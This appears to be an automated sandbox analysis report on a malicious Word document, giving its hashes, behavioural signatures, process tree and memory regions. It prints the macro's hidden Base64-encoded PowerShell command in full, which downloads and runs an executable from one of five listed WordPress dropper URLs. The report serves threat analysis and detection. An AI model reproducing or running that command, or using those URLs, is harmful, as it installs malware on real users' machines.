Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 22:41

General

  • Target

    a0286161a13b0ac162da0033db923c453cb4073f50c3091a6fef75f344fc4e35.doc

  • Size

    181KB

  • MD5

    c87b8d603c1bbb68f7043b828d4f33d2

  • SHA1

    9212853008d9740e1be2f2bc211160ac3a93d15f

  • SHA256

    a0286161a13b0ac162da0033db923c453cb4073f50c3091a6fef75f344fc4e35

  • SHA512

    8919fba1472d8b8cb175cab9b59414b4ba9b213bed93576cbedff9d73dabbc2703c597f3723b6a12991801be63765233bba7c3d032216206c48b78c5834dc7d3

  • SSDEEP

    3072:6FOa2y/GdyDktGDWLS0HZWD5w8K7Nk9ND7IBUd5xKu/UW:COa2k43tGiL3HJk9ND7bdnKu/D

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://eilonstrategy.florencesoftwares.com/wp-content/mu/

exe.dropper

http://pakiskemenagntb.com/wp-content/4k/

exe.dropper

http://ivyfriend.com/ivypal/wp-includes/h20/

exe.dropper

http://julianaweb.cordeldigital.com/wp-includes/0vu/

exe.dropper

http://itsallinclusive.com/ar/Xd7OiT/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a0286161a13b0ac162da0033db923c453cb4073f50c3091a6fef75f344fc4e35.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1860
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2348
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABGAHcAZABwAGMAZgBrAG8AbAB0AD0AJwBVAGIAcgBuAGIAaQBkAGoAbwB2AG4AJwA7ACQATgBuAGkAcQB3AGQAdQBmACAAPQAgACcANAA1ADMAJwA7ACQARAB1AGMAeQBiAGkAZgB2AHoAagBiAD0AJwBCAHoAagBzAHEAcQB6AHQAZwB5AGkAYgBtACcAOwAkAEUAZgBlAHcAeQBoAGsAeQBkAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABOAG4AaQBxAHcAZAB1AGYAKwAnAC4AZQB4AGUAJwA7ACQAVwBqAGoAcgBkAG8AYwBxAG0AbQBzAGIAPQAnAEMAaQBtAHYAbABjAGoAZQBkAHcAdgBuAHUAJwA7ACQAQQBxAHcAdwBlAHQAcABxAD0ALgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAGUAVAAuAFcARQBiAGMAbABJAGUAbgB0ADsAJABVAG4AbgBwAHkAdwBhAGcAeABzAHgAZwA9ACcAaAB0AHQAcAA6AC8ALwBlAGkAbABvAG4AcwB0AHIAYQB0AGUAZwB5AC4AZgBsAG8AcgBlAG4AYwBlAHMAbwBmAHQAdwBhAHIAZQBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbQB1AC8AKgBoAHQAdABwADoALwAvAHAAYQBrAGkAcwBrAGUAbQBlAG4AYQBnAG4AdABiAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ANABrAC8AKgBoAHQAdABwADoALwAvAGkAdgB5AGYAcgBpAGUAbgBkAC4AYwBvAG0ALwBpAHYAeQBwAGEAbAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGgAMgAwAC8AKgBoAHQAdABwADoALwAvAGoAdQBsAGkAYQBuAGEAdwBlAGIALgBjAG8AcgBkAGUAbABkAGkAZwBpAHQAYQBsAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwAwAHYAdQAvACoAaAB0AHQAcAA6AC8ALwBpAHQAcwBhAGwAbABpAG4AYwBsAHUAcwBpAHYAZQAuAGMAbwBtAC8AYQByAC8AWABkADcATwBpAFQALwAnAC4AIgBzAHAATABgAGkAVAAiACgAJwAqACcAKQA7ACQAVAB4AHAAaABsAHoAcAB6AGoAZABoAHoAagA9ACcAWQBvAHAAdABkAHAAdwBnAGEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE0AegB4AG0AYQBiAGwAawB5AGMAdgBuACAAaQBuACAAJABVAG4AbgBwAHkAdwBhAGcAeABzAHgAZwApAHsAdAByAHkAewAkAEEAcQB3AHcAZQB0AHAAcQAuACIAZABPAFcAYABOAEwAYABPAEEAZABmAEkAYABsAGUAIgAoACQATQB6AHgAbQBhAGIAbABrAHkAYwB2AG4ALAAgACQARQBmAGUAdwB5AGgAawB5AGQAKQA7ACQAUgBnAG4AdgBxAHUAZQB1AHQAcAA9ACcAWABhAG4AagBjAHMAZQBjAGEAaQB4AHgAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABFAGYAZQB3AHkAaABrAHkAZAApAC4AIgBsAGAARQBuAEcAdABIACIAIAAtAGcAZQAgADIANQAzADgAOAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABhAFIAVAAiACgAJABFAGYAZQB3AHkAaABrAHkAZAApADsAJABUAGcAeAByAG8AaQBjAGgAPQAnAE4AbQBuAHUAcABkAHEAdgB1AHMAJwA7AGIAcgBlAGEAawA7ACQARgB0AG8AdwB3AGoAaQBpAHAAbwBzAD0AJwBOAHcAeABvAGwAdQBzAGUAeABwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgAbABmAGcAYwBtAGUAaABkAGEAZAA9ACcATQB0AHkAegB3AHkAdAB0AGoAYgBnAHMAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2268

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3400F541.wmf

      Filesize

      444B

      MD5

      f54f9a62bfa6d8233ff69e5ad97c8b18

      SHA1

      2dbd2e3d2051cce632294963d0ca0a598f5bda10

      SHA256

      9c0cfca71932cd829be52e502ec445e121b52e52edcda668bdc0a2df2a063722

      SHA512

      55dfac8cd25ee10a5d36ef8797f42187c899621454318fc3bfea3a9000e3298ab89d7de82ce601cce39d24e8c471c5c12e0c8dbba51d6a01a0c3df5db4320ecc

    • memory/1860-21-0x00000000005A0000-0x00000000006A0000-memory.dmp

      Filesize

      1024KB

    • memory/1860-5-0x00000000069D0000-0x0000000006AD0000-memory.dmp

      Filesize

      1024KB

    • memory/1860-22-0x0000000006300000-0x0000000006400000-memory.dmp

      Filesize

      1024KB

    • memory/1860-25-0x00000000005A0000-0x00000000006A0000-memory.dmp

      Filesize

      1024KB

    • memory/1860-14-0x0000000006300000-0x0000000006400000-memory.dmp

      Filesize

      1024KB

    • memory/1860-17-0x00000000005A0000-0x00000000006A0000-memory.dmp

      Filesize

      1024KB

    • memory/1860-19-0x00000000005A0000-0x00000000006A0000-memory.dmp

      Filesize

      1024KB

    • memory/1860-0-0x000000002F7F1000-0x000000002F7F2000-memory.dmp

      Filesize

      4KB

    • memory/1860-38-0x00000000005A0000-0x00000000006A0000-memory.dmp

      Filesize

      1024KB

    • memory/1860-2-0x000000007146D000-0x0000000071478000-memory.dmp

      Filesize

      44KB

    • memory/1860-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1860-23-0x00000000005A0000-0x00000000006A0000-memory.dmp

      Filesize

      1024KB

    • memory/1860-18-0x00000000005A0000-0x00000000006A0000-memory.dmp

      Filesize

      1024KB

    • memory/1860-37-0x0000000006300000-0x0000000006400000-memory.dmp

      Filesize

      1024KB

    • memory/1860-35-0x000000007146D000-0x0000000071478000-memory.dmp

      Filesize

      44KB

    • memory/1860-36-0x00000000069D0000-0x0000000006AD0000-memory.dmp

      Filesize

      1024KB

    • memory/2268-32-0x0000000001E70000-0x0000000001E78000-memory.dmp

      Filesize

      32KB

    • memory/2268-31-0x000000001B620000-0x000000001B902000-memory.dmp

      Filesize

      2.9MB